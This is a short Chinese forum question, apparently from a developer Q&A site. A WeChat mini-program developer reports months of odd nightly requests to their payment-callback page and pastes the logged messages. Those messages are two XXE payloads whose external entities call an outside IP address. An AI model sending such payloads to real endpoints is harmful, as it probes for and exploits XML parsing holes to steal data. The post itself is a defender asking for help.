小程序的接受微信支付结果的页面每天凌晨3,4点都会收到不明信息。。。

发布于 8 年前作者 bjia2671 次浏览最后编辑 8 年前来自 ask

日志记录下的信息基本都是如下:

<?xml version=“1.0” encoding=“utf-8”?>

<!DOCTYPE root [

<!ENTITY % xxe SYSTEM “http://101.91.62.170:4837/wx\_xxe\_dbc\_os\_2018110303\_334?aHR0cHM6Ly9hcGkud2NmbGNoaW5hLmNvbS9hcGkvMS4wL3BheXJlc3VsdC5hc2h4”>

%xxe;

]>

<?xml version=“1.0” encoding=“utf-8”?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM “http://101.91.62.170:4837/wx\_xxe\_dbc\_os\_2018110303\_334?aHR0cHM6Ly9hcGkud2NmbGNoaW5hLmNvbS9hcGkvMS4wL3BheXJlc3VsdC5hc2h4”>]>

<foo><value>&xxe;</value></foo>

每条消息的处理结果都是 :远程服务器返回错误: (404) 未找到。

什么情况,持续N个月了。。。。。

0 回复
暂无回复